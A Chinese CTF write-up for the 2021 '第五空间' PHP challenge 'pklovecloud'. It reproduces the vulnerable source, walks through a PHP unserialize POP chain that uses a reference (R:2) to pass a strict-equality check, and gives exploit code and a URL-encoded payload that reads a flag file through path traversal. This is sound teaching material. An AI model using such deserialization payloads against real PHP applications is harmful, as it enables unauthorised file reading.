[第五空间 2021]pklovecloud

<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
}

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

这里很快就可以看到需要利用的点在ace::echo_namefile_get_contents,

pop链非常简单acp::__toString->ace::echo_name

首先要的点实在acp的cinder,这个变量的属性是protected,刚开始做题的时候没看到一直在想到底哪里错了,这里我们要在acp::__construct来实例化ace类。

acp::__toString的触发方法

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 

这段代码中的echo会将acp类当作字符串输出,这时就会触发toString。

然后再看到ace类,filename要等于flag.php,docker要为一个类,虽然后续的变量看起来是acp类的,但是acp类里面都受保护的变量,序列化后会有不可见字符处理起来不方便。我们不妨新写一个类fake,这个类里面只有$neutron$nova

class fake
{
	$neutron=1;
	$nova;
}

接着往下看

$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)

这里对neutron进行了赋值,让它等于heat,那么这个时候neutron就不可能与nova全等。

要绕过这一层就需要用到PHP的引用,大致的意思就是让两个变量指向同一个内容。

首先对刚刚新写的类进行序列化

$fake->nova = &$fake->neutron;
$fake = serialize($fake);
echo $fake;

得到O:4:"fake":2:{s:7:"neutron";i:1;s:4:"nova";R:2;},将它赋值给docker。

exp如下:

<?php  

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new ace;
    }  
}

class ace
{    
    public $filename="flag.php";     
    public $openstack;
    public $docker='O:4:"fake":2:{s:7:"neutron";i:1;s:4:"nova";R:2;}';  
}  

$acp = new acp();

$acp = urlencode(serialize($acp));
echo $acp;

?>

最后将../nssctfasdasdflag赋值给filename,

payload:O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A19%3A%22..%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A48%3A%22O%3A4%3A%22fake%22%3A2%3A%7Bs%3A7%3A%22neutron%22%3Bi%3A1%3Bs%3A4%3A%22nova%22%3BR%3A2%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

posted @ 2023-09-25 21:08  bl0ck  阅读(137)  评论(0)    收藏  举报